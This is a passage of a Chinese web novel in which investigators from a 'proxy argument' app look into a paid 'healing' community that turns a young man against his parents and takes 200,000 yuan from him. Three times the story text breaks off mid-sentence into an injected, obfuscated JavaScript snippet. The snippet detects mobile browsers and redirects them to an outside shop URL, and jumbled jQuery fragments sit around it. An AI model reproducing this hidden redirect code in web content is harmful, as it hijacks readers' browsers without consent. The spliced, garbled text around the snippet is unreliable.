“您看,我给他发的消息,一条都没回。” 徐寄遥接过来看。 林国华给儿子发的消息,从4月中旬开始,都是一条一条的: “浩然,最近怎么样?” “儿子,你吃饭了吗?” “爸想你了,有空回个电话。” “浩然,看到消息回一下,爸担心你。” 一条回复都没有。 偶尔有几条被拒接的电话记录,红色的“已取消”三个字,格外刺眼。 林国华说: “电话也打不通,我换别人的号码打,他听到是我的声音就挂。” 他的声音有些哑。 “后来我发现,他把我的微信给拉黑了!” 徐寄遥把手机还给他。 “他有没有说过,他报的那个课程是什么?” 林国华点点头。 “说过一次,叫什么和解大师……上面的一个什么课程还是栏目的,我当时没记住名字,后来就自己下载了那个APP去看。” 俞彩虹问:“您看了之后呢?” 林国华摇摇头。 “没看出什么问题,里面内容看着挺正规的,有专家专栏,有课程,有咨询服务,我当时还想,是不是我自己想多了,儿子就是想学点东西。” 他沉默了几秒。 “但没过多久,我就发现不对劲了。” / 徐寄遥问:“怎么不对劲?” 林国华说:“他开始说一些我听不懂的话。” 他回忆着。 “有一次,他打电话回来,说什么‘原生家庭创伤’这种话,我问他什么意思,他说你们不懂,这是心理学。” “还有一次,他突然说什么,‘我终于觉醒了’,说他这么多年过得不开心,都是因为家庭教育的问题,我当时就说,你小字从小到大要什么有什么,怎么就不开心了?他说‘你不懂,物质满足不等于精神满足’。” 林国华的眉头皱成一个川字。 “徐老师,您说这孩子是不是被人忽悠了?他以前从来不这样的。” 徐寄遥没有说话。 林国华继续说: “4月底,他突然回家了一趟。” 俞彩虹问:“他回来做什么?” 林国华说:“收拾东西,说以后不回家住了。” 他的声音低下去。 “我当时就急了,我说你这孩子怎么回事?好好的家招你惹你了,你要去哪儿?他不说,就低着头收拾,我拦他,他就不耐烦了。” “他说什么?” 林国华沉默了几秒。 “他说……他说‘你们根本不懂我’,还说‘我要为自己活一次’,然后就走了。” 他抬起头,眼眶有点红。 “各位老师,我当时追出去拉他,他把我甩开,头也不回地走了,我站在门口,看着他走远,心里那个滋味……” 他说不下去。 / 吴小糖在旁边听着,忍不住问: “林叔叔,林浩然走的时候情绪怎么样?” 林国华叹了口气说: “特别激动,说话都是吼的,浑身都在抖,我从来没见过他那样。” 俞彩虹在本子上记了几笔。 “他当时还有没有说过什么特别的话?” 林国华想了想。 “他就是反复说‘你们不懂’‘我要为自己活一次’之类的浑话……” 他顿了顿。 “后来我才知道,他那次回家,是来拿银行卡的,后来他转了20万出去。” 徐寄遥抬起头。 “20万?” 林国华点点头。 “都是以前我们给他的零花钱,从小我就在他名下存钱,跟他说存到大学再用的,平时他自己支配,我从不过问。” 他拿出手机,翻出一张银行转账记录的截图,递给徐寄遥。 “您看,5月3号,20万,转到了一个叫‘个人成长基金’的账户。” 徐寄遥盯着那张截图,沉默了几秒。 “这个账户,您查过吗?” 林国华点点头。 “查过,就是那个和解大师APP里的一个账户, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294409|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查不到更多信息,也联系不上那边的人。” / 正说着,办公室的门被推开了。 一个中年女人快步走进来。她穿着朴素的连衣裙,头发有些乱,眼眶红肿,一看就是哭过很多次。 “老林,代吵师来了?” 她看到徐寄遥她们,愣了一下,然后快步走过来,握住徐寄遥的手。 “徐老师!您是徐老师吧?我是林浩然的妈妈!王秀芳!” 她的手在发抖。 徐寄遥扶她坐下。 “王姐,您别急,慢慢说。” 王秀芳坐下来,眼泪就流下来了。 “我今天早上听说你们要来,专门从市区赶过来的,我儿子……我儿子他……” 她说不下去了。 林国华在旁边解释: “我们家住市区,我爱人平时不来厂里……儿子的事,她着急。” 王秀芳抹着眼泪说: “我联系不上浩然,电话不接,微信拉黑了,我去学校找他,他室友说他半个多月没回宿舍了。” 徐寄遥问:“老师那边怎么说?” 王秀芳说:“老师说他也联系不上,已经报备到学院了,但这种事,学校也管不了……” 她说着说着,又哭起来。 “他才20岁啊,从小到大没离开过家,什么都不懂,万一在外面出了什么事……” / 徐寄遥等王秀芳情绪平复一些,才开始问话。 “王姐,您最后一次见到您儿子,是什么时候?” 王秀芳想了想。 “4月底,他回来收拾东西那次,我拦他,他不听,就那么走了。” 她的声音哽咽。 “他走的时候,他的眼神,特别陌生,跟以前完全不一样。” 俞彩虹问:“怎么不一样?” 王秀芳说: “那天他看我的眼神,就像看一个陌生人,不管我说什么,他就像跟他没关系一样……” 林国华在旁边补充: “他妈说他,他就吼‘你根本不懂’,他妈哭,他也不管,摔门就走了,唉……” 王秀芳的眼泪又流下来。 “徐老师,您说这孩子是不是在外面上什么当受什么骗了啊!他以前多乖啊……” 俞彩虹和徐寄遥对视一眼。 / 聊了一个多小时,该问的都问了。 徐寄遥合上笔记本,看着林国华夫妇。 “林先生,王姐,情况我们大致了解了,接下来,我们会从几个方向入手。” 林国华立刻坐直。 “您说!” 徐寄遥说: “第一,我们会调查和解大师APP,看看那个课程到底是什么。” “第二,我们会想办法找到林浩然的下落,既然他在那个课程里交了钱,应该会有活动轨迹。” “第三,如果找到他,我们会评估他的精神状态,再决定怎么介入。” 林国华连连点头。 “徐老师,有什么需要我们配合的,您尽管说!” 徐寄遥点点头。 “暂时先把您儿子的所有信息,照片、身份证号、学校、专业、室友联系方式,给我们一份,另外,转账记录和您能收集到的所有聊天记录,都发给我们。” 林国华说:“好,我现在就让人整理!” / 从厂里出来,已经是中午十二点多。 三个人站在门口等网约车。 吴小糖回头看了一眼那扇大铁门,叹了口气。 “寄遥姐,林先生和他爱人看着好可怜……” 徐寄遥没有说话。 俞彩虹点点头。 “可怜天下父母心。” 车来了,三个人上车。 吴小糖坐在后排,忽然问: “寄遥姐,你说那个‘个人成长基金’是什么东西?为什么要交20万?” 徐寄遥看着窗外掠过的厂房,沉默了几秒。 “不知道,这都是我们要查的。” 她的声音很平静。 车往市区开去。 33.林国华的困境(三):调查 2025年5月17日,上午九点。 吴小糖坐在工作室的沙发上,手里捧着一个新手机。 这是应宽给她准备的卧底专用机,里面注册了一个全新的小红书账号,微信也是新的,朋友圈干干净净,什么都没有。 她盯着屏幕,有点紧张。 “寄遥姐,我该怎么说?” 徐寄遥走过来,在她旁边坐下。 “你就正常说,二十出头,和父母关系不好,觉得自己被他们控制了,不开心,想找人聊聊。” 吴小糖点点头,开始打字。 她在小红书发了一条帖子: “有没有人和我一样,觉得自己从小到大都被父母控制?穿什么衣服要管,交什么朋友要管,连发个朋友圈都要被说。我真的好累,想逃离这个家……” 发完之后,她盯着屏幕,等了一会儿。 五分钟,十分钟,二十分钟。 没有人回复。 吴小糖有点泄气。 “是不是我写得太假了?” 俞彩虹在旁边笑了。 “小糖,你急什么?这种事要慢慢来,那些被洗脑的人,也不是一天就陷进去的。” 应宽从电脑前抬起头。 “我已经帮你设置好了,你的账号会慢慢点赞、关注一些原生家庭话题的博主,过几天,自然会有人来私信你。” 吴小糖点点头。 “那我这几天干什么?” 徐寄遥说:“等着,每天发一条,保持活跃。” / 接下来的一周,吴小糖每天都在经营自己的人设。 她发帖子吐槽父母,点赞各种原生家庭创伤的内容,关注那些控诉父母操控的博主。 慢慢地,开始有人给她留言了。 “姐妹,我懂你……” “我也是,太难了……” “抱抱你……” 吴小糖一条一条回复,表现得像一个真正的迷茫女孩。 5月20日,终于有人私信她了。 是一个叫心愈小助手的账号,头像是一朵粉色的花。 “小姐姐,看到你的帖子,觉得你特别需要帮助。推荐你了解一下‘心之愈’专栏,里面的老师都很专业,能帮你走出困境。” 吴小糖截图发给应宽。 应宽回复:“上钩了,继续。” 吴小糖回复:“心之愈?那是什么?” 对方很快发来一个链接。 “是和解大师APP里的一个专栏,专门讲原生家庭创伤的。你先看看,有什么问题可以随时问我。” 吴小糖点进去,浏览了一会儿。 专栏首页很精美,有专家介绍,有用户推荐,还有免费试听的课程。 最显眼的位置,是一个女人的照片。李曼青,心理学博士,原生家庭创伤治疗专家。 吴小糖按照计划,关注了专栏,开始每天浏览那些文章。 / 5月22日,吴小糖收到了“心愈小助手”的第二次私信。 “小姐姐,看了咱们专栏的内容,感觉怎么样?” 吴小糖回复: “感觉说得挺对的!我爸妈确实像里面写的那样,从小就控制我。” 对方很快回复: “那你有兴趣和我们的老师聊聊吗?第一次咨询是免费的,你可以先体验一下。” 吴小糖问:“哪个老师?” 对方说: “李曼青老师哦,她是我们最资深的专家。很多学员都是她辅导出来的,效果特别好。” 吴小糖犹豫了一下,回复: “我考虑一下。” 她截图发给应宽。 应宽说:“别急,再拖两天,太主动容易让人怀疑。” / 5月24日,吴小糖终于“考虑好了”。 她通过小助手的指引,下载了和解大师APP,找到了心之愈专栏的预约页面。 填完基本信息后,系统提示她加李曼青的微信。 “李老师的微信是私人的,但她会通过好友申请。请备注您的真实姓名。” 吴小糖加了那个微信。 头像是一张侧脸照,看起来温柔知性。朋友圈设置了三天可见,什么都看不到。 第二天,微信通过了。 李曼青发来一条消息: “吴小糖你好,我是李曼青。很高兴认识你。” / 接下来的几天,李曼青没有急着“治疗”,而是每天给吴小糖发一些文章链接。 “小糖,这篇文章讲的是原生家庭创伤的形成机制,你可以看看。” “小糖,这个案例和你很像,或许能给你一些启发。” “小糖,今天过得怎么样?有想聊的随时找我。” 语气温柔,不紧不慢,像一个知心大姐姐。 吴小糖按照计划,每天回复几句,表现得越来越信任她。 5月27日,李曼青终于提出了第一次语音通话。 “小糖,如果你方便的话,我们可以语音聊一聊。文字表达有限,有些东西语音说得更清楚。” 吴小糖同意了。 / 5月27日,下午三点。 吴小糖坐在工作室的沙发上,戴着耳机。徐寄遥、俞彩虹和应宽都围在旁边,准备记录。 语音接通。 “小糖,你好。”李曼青的声音很温柔,带着一种让人放松的亲切感。 “李老师好。”吴小糖的声音有点紧张,这是演的。 “别紧张,就当是朋友聊天,”李曼青笑了笑,“跟我说说,你最近怎么样?” 吴小糖按照剧本,开始讲述她“悲惨”的童年。 “我爸妈从小就管我特别严,穿什么衣服要说,交什么朋友要问,我考了第二,他们问我为什么没考第一,我考了第一,他们问我下次能不能保持。我做什么都不对……” 她说着说着,自己都有点入戏了。 李曼青轻轻“嗯”了一声,带着深深的共情。 “我理解你的感受,这种被比较、被否定,真的很伤人。” 吴小糖继续说: “我现在24了,他们还想让我考公务员,回老家工作,我不想回去,但又不知道该怎么办。” 李曼青沉默了两秒。 “小糖,你有没有想过,你父母的做法,其实是一种控制?” 吴小糖愣了一下。 “控制?” 李曼青的声音变得更深了。 “对,控制,他们让你考公务员,不是为了你的前途,是为了他们自己的面子,他们希望你回老家,不是为了照顾你,是为了让你继续听他们的话。” 吴小糖没说话。 李曼青继续说: “你这么多年过得不开心,不是因为你自己不够好,是因为你一直活在他们的控制里。你从来没有为自己活过。” …… 电话打了四十分钟。 挂断之后,吴小糖摘下耳机,长长地出了一口气。 “我的妈呀,这人说话太有魔力了,我差点被她带进去。” 俞彩虹点点头。 “这就是专业的话术,她说的话有一部分是真的,你父母确实管你,确实有期望,她把正常的关心,解读成控制,把正常的期望,解读成操控,你听着觉得对,但又觉得哪里不对。” 应宽说:“录音质量很好,回头可以整理出来。” / 接下来的几天,李曼青和吴小糖保持着联系。 每天发几条消息,隔两天打一次语音。 李曼青从来不提钱的事,只是聊原生家庭,聊创伤,聊疗愈。 她营造的氛围太好了,让吴小糖觉得自己真的被理解了,被看见了。 5月30日,李曼青终于开始切入正题。 “小糖,这段时间聊下来,我觉得你的创伤挺深的,光靠聊天可能不够,你需要系统性的疗愈。” 吴小糖问:“怎么疗愈?” 李曼青说: “我们有专业的课程,分三个阶段,第一阶段是觉醒,让你彻底看清原生家庭的真相;第二阶段是疗愈,处理你内心深处的创伤;第三阶段是新生,帮你建立独立的人格。” 她发来一份PDF文件。 【《原生家庭创伤疗愈课程》】 - 第一阶段:“觉醒”课程,10次深度咨询,价格19999元 - 第二阶段:“疗愈”课程,20次深度咨询,价格39999元 - 第三阶段:“新生”课程,30次深度咨询,价格59999元 - 三个阶段一次性购买,优惠价99999元 吴小糖看着那个价格,倒吸一口凉气。 “10万?!” / 吴小糖按照计划,表现出心动但又犹豫的样子。 “李老师,课程听起来很好,但我现在没工作,拿不出这么多钱。” 李曼青的回复很快。 “小糖,我理解你的顾虑,但你要想清楚,这是你一辈子的事,10万块,换你后半生的幸福,值不值?” 吴小糖说: “值肯定是值的,但我真的拿不出来呀。” 李曼青说: “这样吧,我可以给你申请一个特别优惠,一次性购买三个阶段,可以打八八折,88000,这是我能争取到的最低价格了。” 吴小糖说: “李老师,我要是能拿得出8万8,不就拿得出10万了吗……” 李曼青沉默了一会儿。 “小糖,你有没有考虑过分期付款?我们可以帮你办理分期,首付40%,剩下的分12个月付清,首付3万多一点,应该可以承受吧?” 吴小糖说: “啊……3万!我也没有啊!” 李曼青说: “那你可以考虑一下贷款,我们伯牙科技旗下有一个金融服务平台,专门为和解大师的学员提供教育贷款,利率很低,审批也快,很多学员都是通过这个方式完成疗愈的。” 她发来一个链接。 是一个叫“心愈分期”的贷款页面,写着“专注教育领域,低息快捷,帮助更多人实现成长梦想”。 吴小糖截图发给应宽。 应宽看完,冷笑了一声。 “闭环了,课程收费,贷款服务,都是他们自己的,一套流程下来,从你口袋里把钱掏走,你还要感谢他们。” / 吴小糖继续和李曼青周旋。 “李老师,贷款的事我再想想,我有点怕欠钱。” 李曼青说:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299147|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我理解,但你要想清楚,这是投资自己,欠钱不可怕,可怕的是你一辈子活在原生家庭的阴影下。” 她顿了顿。 “这样吧,如果你暂时交不了全款,可以先交1000元,加入我们的学员社群,社群里都是和你有同样经历的人,大家可以互相支持,互相鼓励,等你准备好了,再正式报名课程。” 吴小糖问: “1000块就能进社群?” 李曼青说: “对,这个社群是我们最核心的疗愈资源,平时不对外开放,只有真心想改变的人,我们才会邀请加入,1000块,相当于一个门槛,筛掉那些不认真的人。” 吴小糖把这个消息告诉团队。 徐寄遥想了想。 “进。” / 5月31日,吴小糖转了1000块,被拉进了一个微信群。 群名叫“心之愈·觉醒之路”。 群里有一百多人,群主是李曼青,几个管理员挂着“心愈助手”的头衔。 进群第一天,吴小糖什么都没说,只是潜水观察。 群里很热闹。 有人在分享自己的原生家庭故事,有人在感谢李老师的疗愈,有人在鼓励新加入的成员。 “我刚进群的时候也和你一样迷茫,现在好多了。” “李老师真的救了我的命。” “姐妹们一起加油,我们都能走出来!” 吴小糖一条一条看下去,越看越心惊。 这些人的话术,太统一了。 统一的感恩,统一的赞美,统一的觉醒叙事。 像是一个模子里刻出来的。 她翻了两天的聊天记录,忽然看到一张照片。 是一个年轻男孩的自拍,配文:“今天终于下定决心和家里切割了,谢谢李老师,谢谢群里的兄弟姐妹们。” 吴小糖盯着那张脸,心跳漏了一拍。 她把照片放大,发给应宽。 “应宽哥,你看这个人……” 应宽查了十分钟。 “林浩然。” / 吴小糖的手有点抖。 林浩然。 那个转了20万出去的人。那个把父母拉黑的人。那个让林国华夫妇哭了一整夜的人。 他就在这个群里。 徐寄遥看着屏幕上的照片,沉默了几秒。 “能加他微信吗?” 应宽摇摇头。 “群里有规定,成员之间不能私下加好友,刚才我试了一下,私加好友会被管理员警告。” 吴小糖试着给林浩然发了一条私信。 消息发出去,立刻收到一条自动回复: “本群为封闭式疗愈社群,成员之间请勿私下联系。如有需要,请通过管理员对接。” 吴小糖愣住了。 “他们连这个都防着?” 俞彩虹点点头。 “这种社群的常见手法,防止成员之间私下交流,避免他们发现彼此的问题,所有的信息都通过导师过滤,这样他们才能牢牢控制每一个人。” 吴小糖问:“那怎么办?我加不了他啊。” 徐寄遥想了想。 “先观察。” 应宽说: “寄遥,我觉得可以试试另一种方式,让小糖在群里表现得积极一点,吸引林浩然的注意。” 俞彩虹摇头。 “太冒险了,万一小糖暴露了,前面的努力全白费。” 徐寄遥没有说话。 她在思考。 俞彩虹又说: “还有另一个问题,如果小糖加了林浩然,聊崩了,他把这事在群里一说,小糖就曝光了,到时候不仅调查失败,小糖还可能被他们围攻。” 吴小糖听着,心里有点发毛。 “寄遥姐,我……” 徐寄遥看着她。 “小糖,你怕吗?” 吴小糖想了想。 “还好,我更想知道,林浩然为什么会变成这样。” 徐寄遥点点头。 “那就先观察,不急着行动,看他在群里说什么,看他和其他人的互动,等我们掌握了足够的信息,再决定下一步。” / 晚上,工作室里安静下来。 吴小糖和俞彩虹都回去了。 应宽还在电脑前,盯着那个群的聊天记录。 徐寄遥走过来,站在他旁边。 “发现什么了?” 应宽指着屏幕。 “你看这些人的发言时间,凌晨三点,早上五点,半夜十二点,他们什么时候都在线。” 徐寄遥点点头。 “被洗脑的人,睡眠会出问题,他们会被反复强化那些观念,睡不着的时候就会刷群。” 应宽说: “你看他们的发言内容,越来越极端,一开始只是抱怨父母,后来开始骂父母,再后来就说要断绝关系。” 徐寄遥沉默了几秒。 “和解大师的商业模式,先让人进群,被群体氛围感染,再慢慢收割。” 应宽说: “这个群里,有人在推着他们往前走。” 徐寄遥看着屏幕上那些不断跳动的消息。 “先看着,看林浩然怎么一步步走向‘觉醒’。” 34.林国华的困境(四):潜水社群 2025年6月1日,上午九点。 吴小糖进群第三天。 三天里,她一直在潜水,观察着这个一百多人的“心之愈·觉醒之路”社群。 刚开始看的时候,她只觉得热闹。看得久了,她开始看出一些门道。 群里的人,名字后面都跟着一个符号。 有人名字后面是金色的星星,有人是银色的月亮,有人是青铜色的圆圈,还有人是灰色的水滴。 等级分明,一目了然。 应宽帮她查过这个等级体系。 金色星星叫觉醒者,是交了10万以上学费的人。 银色月亮叫践行者,交了5到10万。 青铜圆圈叫成长者,交了1到5万。 灰色水滴叫初行者,交了1000块入群费,还没报课。 吴小糖的名字后面,就是灰色的水滴。 “有钱的就是星星月亮,没钱的就是水滴,明明白白写在脸上。” 俞彩虹点点头。 “这就是阶层,让人一进群就看到差距,激励那些低等级的成员往上爬,想升级?交钱就行。” 吴小糖问:“那林浩然呢?” 应宽已经查到了。 “林浩然的ID叫浩然觉醒,金色星星,他交了20万,是群里最高级别的学员。” 吴小糖看着那个名字,心里有点复杂。 20万,换一个金色星星。 / 6月1日下午,吴小糖第一次看到林浩然在群里发言。 是一个管理员发了一条课程通知,林浩然突然冒出来,发了一个大红包。 红包上面写着:“今天开心,请大家喝奶茶。” 吴小糖随手一点,88块。 群里瞬间炸了。 “谢谢浩然哥!” “浩然哥大气!” “跟着浩然哥有肉吃!” 一连串的吹捧,刷了几十条。 林浩然发了一个微笑的表情。 “大家好好学,觉醒路上一起走。” 下面又是一波吹捧。 吴小糖看着那些消息,心里有点不是滋味。 几千块的红包,他眼睛都不眨一下就发了。可他父母给他打电话,他连一个字都不愿意多说。 俞彩虹在旁边说: “在这个群里,钱就是话语权,红包发得越大,追捧你的人就越多,这种追捧,对现实中缺爱的人,是致命的诱惑。” 吴小糖问: “林浩然缺爱吗?他爸妈那么宠他。” 俞彩虹说: “物质不缺,精神缺,他从小被宠到大,但那种宠是单向的,他只需要接受,不需要回应,他从来没有体验过被一群人追捧的感觉。” 她顿了顿。 “在这个群里,他一发红包,几十个人喊他浩然哥,这种成就感,他以前从来没有过。” / 6月2日晚上,群里突然热闹起来。 起因是林浩然发了一条消息。 “笑死,刚听说我爸妈去找了那个什么代吵APP。” 消息后面跟着一个捂脸笑哭的表情。 群里瞬间沸腾了。 “代吵APP?就是那个帮人吵架的?” “哈哈哈哈哈,浩然哥的父母也太好笑了。” “他们不会真以为吵架能解决问题吧?” 青铜、水滴们争先恐后地回复,一条接一条。 有人发了一个截图,是代吵APP的下载页面,配文: “听说他们专门帮人跟父母吵架,越吵越凶,也是绝了。” 林浩然又发了一条。 “随便吧,反正我早就拉黑他们了,找谁都没用。” 下面又是一波吹捧。 “浩然哥清醒!” “浩然哥早就看透了!” “这才是真正的觉醒!” 吴小糖看着那些消息,手心有点出汗。 她没想到,代吵APP会在群里被讨论。 更没想到,林浩然会用这么轻松的语气说起自己的父母。 她看了一眼徐寄遥。 徐寄遥的表情没什么变化,只是盯着屏幕。 / 讨论持续了十几分钟。 青铜、水滴们越说越兴奋,开始有人发一些阴阳怪气的表情包。 “代吵APP?不如改名叫断亲APP。” “笑死,这种APP居然还有人用?” 林浩然偶尔发个“哈哈”附和。 吴小糖看着那些消息,心里憋屈。但她记得自己的身份,不能说什么。 就在这时,李曼青突然冒出来了。 “各位同学,讨论可以,但要注意分寸。” 她的消息很简短,但发出来之后,群里瞬间安静了几秒。 然后有人说:“李老师说得对,我们不该讨论别的APP。” 另一个跟着说:“专注自家,专注觉醒。” 李曼青又发了一条。 “我们不评价别人,只做好自己,大家有精力,多看看课程,多聊聊自己的成长。” 下面立刻有人附和。 “李老师说得太对了!” “谢谢李老师提醒!” “专注自家,专注觉醒!” 节奏瞬间被带回来了。 吴小糖看着那些消息,望向俞彩虹。 俞彩虹一直在旁边看群消息,她说: “李曼青这一手,太漂亮了,表面上是在讲道理,实际上是切断群员对外界的接触,不让讨论别的APP,就是不让大家知道还有别的选择。” “封闭社群的典型手法,把讨论范围限制在内部,外面的一切都是噪音,时间久了,群员就会觉得,只有这个群里是安全的,外面都是敌人。” / 6月3日,李曼青又在群里发了一条消息。 “提醒大家一下,咱们群里的讨论,尽量不要截图外传,群里都是真心想觉醒的人,咱们的交流是私密的,万一被别有用心的人截图发出去,对大家都不好。” 下面又是一波附和。 “李老师说得对!” “感谢李老师提醒!” “咱们的群一定要保护好!” 吴小糖看着那条消息,心里有点发毛。 “她这话听起来是为大家好,仔细一想,感觉带着点威胁……” 应宽说: “他们在建信息茧房,群员只能看到群里想让他们看到的,外面的一切都被屏蔽了。” 俞彩虹点点头。 “李曼青这个角色,太重要了,她是导师,是权威,是所有人的精神支柱,她说的话,没人敢质疑。” / 6月4日,吴小糖试着在群里发了一条消息。 她问了一个很普通的问题: “大家是怎么判断自己的原生家庭有问题的?我有时候分不清,哪些是正常的关心,哪些是控制。” 发出去之后,她等了一会儿。 一分钟,两分钟,三分钟。 没有人回复。 又过了几分钟,终于有人回复了。 是一个青铜圆圈的成长者。 “这种问题就别问了吧?李老师的课程里都讲过的。” 另一个灰色水滴跟着说: “就是啊,进群之前不看资料的?” 第三个灰色水滴: “建议先学习再提问,别浪费大家时间。” 吴小糖愣住了。 她只是问了一个问题,就被三个人连着怼。 更奇怪的是,那些平时活跃的金星、银月,一个都没出现。好像她这种灰色水滴的提问,根本不值得他们看一眼。 俞彩虹在旁边看着,冷笑了一声。 “看明白了吗?在这个群里,等级就是一切,低等级的人提问,会被嘲笑,高等级的人提问,一堆人抢着回答。” 吴小糖说: “那我以后不说话了?” 俞彩虹摇摇头。 “不,你可以说话,但要说他们爱听的话。” / 接下来的几天,吴小糖开始调整策略。 她不再提问,而是学着那些灰色水滴的样子,跟在金星、银月后面吹捧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300124|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“浩然哥说得太对了!” “感谢李老师分享!” “觉醒路上有你们真好!” 效果立竿见影。 开始有人给她点赞,有人回复她“姐妹加油”。 但没有任何人私下加她好友。群里规定得很清楚,成员之间不能私加,加了会被管理员警告。 吴小糖试过一次,发了一条私信给一个看着面善的青铜,立刻就收到一条自动回复: “本群为封闭式疗愈社群,成员之间请勿私下联系。如有需要,请通过管理员对接。” 这个群的管控,比想象中严得多。 / 6月7日,俞彩虹拿着一沓资料走过来。 “我花了三天时间,把心之愈所有的课程资料都看了一遍。” 她翻开笔记本。 “这些课程,表面上是在讲原生家庭创伤,实际上是在做三件事。” “第一,强化受害者心态,每一节课都在告诉你,你的痛苦,都是父母的错,你不需要反思自己,你只需要指责父母。” 吴小糖点点头。 “对,群里就是这样,林浩然就是莫名其妙地恨他爸妈,所有人都是这样。” 俞彩虹继续说: “第二,制造二元对立,父母是操控者,你是受害者,父母是加害者,你是觉醒者,这种对立越清晰,你就越不可能回头。” 应宽说: “所以林浩然才哭着喊着要跟父母彻底切割,他甚至都不是真的恨他们,是被那套话术培训成必须恨他们。” 俞彩虹点点头。 “第三,建立依赖关系,课程里反复强调:靠自己走不出来,你需要专业的帮助,这个专业帮助,就是心之愈的课程。” 她合上笔记本。 “这三层逻辑,一环扣一环。先让你恨父母,再让你割裂关系,最后让你依赖他们。等你完全依赖了,钱就不是问题了。” / 徐寄遥沉默了很久。 然后她问: “那些课程内容,有没有法律上的问题?” 俞彩虹想了想。 “很难说,他们用的是心理学概念,包装得很专业,就算拿到法庭上,他们也可以说是学术观点不同。” 应宽说: “那我们要收集的,就不只是课程内容,而是他们实际操作的证据,比如李曼青在群里说的话,比如学员们支付高昂学费的转账记录。” 徐寄遥点点头。 “小糖,你在群里继续观察,尤其注意李曼青的发言。” 吴小糖:“好的!” / 6月8日,林浩然在群里发了一条消息。 “今天我爸又找人联系我了,可笑。” 下面是一连串的回复。 “浩然哥别理他们!” “父母就是这样,永远不会放手!” “浩然哥加油,我们都支持你!” 林浩然发了一个红包。 吴小糖抢了,58块。 “谢谢兄弟姐妹们,有你们在真好!”林浩然发的。 又是一波吹捧。 吴小糖看着那些消息。 她想起林国华说的那些话。 “我儿子以前很乖的……” “20万我们不是舍不得,是怕他被人骗……” 她想,如果林浩然知道,他发的那些红包,他收到的那些吹捧,都是被人设计好的,他会怎么想? 如果他知道,他父母找的那个代吵APP,正在想办法救他,他又会怎么想? 吴小糖忽然问: “寄遥姐,我们真的能把他救出来吗?” 徐寄遥想了想。 “不知道。” 吴小糖愣了一下。 徐寄遥说: “我们能做的,是把真相摆在他面前,但他愿不愿意看,看了愿不愿意信,信了愿不愿意回头,那是他自己的事。” 她看着窗外的夜色。 “小糖,我们不是神,我们只能帮那些愿意被帮的人。” 吴小糖点点头。 “我明白了。” 35.林国华的困境(五):艰难的决定 2025年6月9日,下午两点。 徐寄遥再次拨通了林国华的电话。 电话响了三声,那边接了。林国华的声音依然沙哑,但比上次多了一丝期待。 “徐老师?” “林先生,方便吗?我们有些情况想跟您当面沟通一下。” 林国华立刻说: “方便方便!我现在在厂里,您什么时候过来?” 徐寄遥看了看时间。 “我们现在出发,大概一个半小时后到。” “好,我等您!” 挂了电话,徐寄遥看向吴小糖和俞彩虹。 “走吧,去燕郊。” / 一个半小时后,三个人再次站在华兴包装制品有限公司的门口。 还是那扇大铁门,还是那个堆满纸箱的院子。 但这次,林国华没有在门卫室等,而是直接站在门口。 看到车停下来,他快步迎上去。 “徐老师!俞老师!小糖老师!” 三个人下了车,林国华一个一个握手。 他的手还是那么粗糙,但这次握得比上次更用力。 “快请进快请进!里面聊!” 办公室还是那个办公室,茶几上还是摆着茶水和水果。 四个人坐下,徐寄遥把这几天的调查情况一五一十地告诉了林国华。 林浩然在群里的ID叫浩然觉醒,是最高级别的金色星星学员。他在群里很活跃,每天发红包,少则几百,多则几千。他一发言,就有几十个人跟在后面吹捧。他管那些人叫兄弟姐妹,管那个群叫家。 林国华听着,脸色越来越复杂。 “浩然……他现在,好像过得挺开心的?” 吴小糖点点头。 “群里的人都捧着他,叫他浩然哥,他发个红包,一堆人感谢他。” 林国华沉默了。 他低下头,盯着茶几上的茶杯,盯了很久。 然后他开口,声音很轻。 “徐老师,我有个问题想问问您。” 徐寄遥点点头。 “您说。” 林国华说:“您说,是不是我这些年,做得不够?” / 吴小糖愣了一下。 林国华继续说: “我开这个厂,二十年了,从早忙到晚,一年到头没几天休息,浩然小时候,我陪他的时间确实不多。” 他顿了顿。 “我就想着,多挣点钱,给他攒着,以后他想买什么就买,想学什么就学,他学习成绩,我从没逼过他,考多少分都行,他选专业,我也没管,他自己高兴就好。” 他抬起头,看着徐寄遥。 “徐老师,您说,我这是不是……太放任了?是不是让他觉得,钱来得太容易,什么都不用努力?” 俞彩虹在旁边轻轻开口。 “林先生,您能这么想,说明您是真心爱他的。” 林国华苦笑。 “爱他?他现在连电话都不接了。” / 俞彩虹往前坐了坐。 “林先生,我来分析一下您儿子的心理,您听听,对不对。” 林国华点头。 “您从小对他物质上很宽松,想买什么就买什么,想学什么就学什么,在这种环境长大的孩子,容易形成一种心理,‘我想要的东西,本来就该是我的’。” 林国华听着,没说话。 